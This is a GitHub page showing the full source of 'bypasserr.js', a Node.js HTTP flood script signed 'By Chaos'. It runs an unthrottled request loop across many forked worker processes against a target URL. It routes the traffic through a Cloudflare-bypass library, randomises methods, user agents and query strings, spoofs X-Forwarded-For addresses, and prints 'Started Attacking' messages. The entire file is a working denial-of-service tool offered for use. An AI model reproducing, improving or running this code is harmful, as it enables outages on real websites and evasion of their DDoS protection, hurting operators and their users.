-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathbypasserr.js
68 lines (66 loc) · 1.76 KB
/
bypasserr.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
require('events').EventEmitter.defaultMaxListeners = 0;
const cloudflare = require("cloudflare-bypasser")
const cf = new cloudflare();
const randomstring = require("randomstring")
const fakeUa = require("fake-useragent");
const cluster = require("cluster");
const colors = require("colors");
if(process.argv.length !== 5){
console.log("BY CHAOS !!!!".inverse)
console.log("node bypassing.js url thread time".underline.red)
process.exit()
}
function flood_req(){
var char = randomstring.generate({
length:10,
charset:'abcdefghijklmnopqstuvwxyz0123456789'
})
var charr = randomstring.generate({
length:7,
charset:'abcdefghijklmnopqstuvwxyz0123456789'
})
ipq = function ranip(){
return Math.round(Math.random()*256)
}
var ip = ipq()+'.'+ipq()+'.'+ipq()+'.'+ipq()
var Array_method = ['HEAD', 'GET', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'TRACE', 'PATCH', 'DEL'];
var randommode = Array_method[Math.floor(Math.random()*Array_method.length)]
cf.request({
method:randommode,
resolveWithFullResponse: true,
headers:{
'User-Agent': fakeUa(),
'Upgrade-Insecure-Requests': '1',
'Connection':'Keep-Alive',
'Keep-Alive': 'timeout=10,max=100',
'Origin': 'http://' + char + '.com',
'Referrer': 'http://google.com/' + char,
'X-Forwarded-For': ip
},
url:process.argv[2]+"?"+charr
})
}
function th(){
setInterval(()=>{
flood_req()
})
}
if(cluster.isMaster){
for (let i=0;i<process.argv[3];i++){
cluster.fork()
console.log(`Thread ${i+1} Started Attacking`)
}
console.log("Now Attacked | Method By Chaos <3".rainbow)
}else{
th()
}
setTimeout(()=>{
console.log("Attack End ! ")
process.exit()
},1000*process.argv[4])
process.on('uncaughtException', function (err) {
// console.log(err);
});
process.on('unhandledRejection', function (err) {
// console.log(err);
});